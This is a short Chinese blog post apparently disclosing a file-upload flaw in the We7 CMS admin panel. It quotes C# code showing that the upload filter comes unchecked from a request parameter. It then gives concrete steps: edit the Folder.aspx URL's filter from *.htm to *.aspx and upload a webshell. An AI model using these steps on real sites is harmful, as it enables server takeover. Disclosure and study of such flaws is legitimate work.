we7cmd后台上传webshell
原创
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admin/Folder.aspx.cs中
...
string Filter
{
get
{
string f = Request["filter"];
if (f == null)
{
f = "*";
}
return f;
}
}
…
void LoadFiles()
{
//if (SelectType != null)
// dd.FolderUrl += "&noSelect=1";
dd.FileUrl =actionLinks;
dd.PathName = f; ;
dd.Filter = Filter;
dd.AutoCreate = AutoCreate;
dd.BasePath = Server.MapPath("/");
dd.Process();
FileListGridView.DataSource = dd.Items;
FileListGridView.DataBind();
FilterLabel.Text = Filter;
PathLabel.Text = CurrentFolder;
string dir = Path.Combine(dd.BasePath, dd.PathName);
CreateHyperLink.Enabled = !IsForbid(dir) && !IsReadyonly(dir);
UploadHyperLink.Enabled = !IsForbid(dir) && !IsReadyonly(dir);
}
...
Filter是过滤器,就是允许上传的类型,具体见http://sdk26.we7.cn/html/c68dcc7c-d336-8c03-7fd7-cdbd18f025ef.htm
很明显没有经过过滤就直接,ok,来说下利用,
进入后台,模板->编辑模板->新建模板->导入静态html,弹出一个对话框,
www.xx.com/admin/Folder.aspx?noSelect=0&folder=/_skins/r&filter=*.htm
,copy url,在窗口打开,修改www.xx.com/admin/Folder.aspx?noSelect=0&folder=/_skins/r&filter=*.aspx
直接上传webshell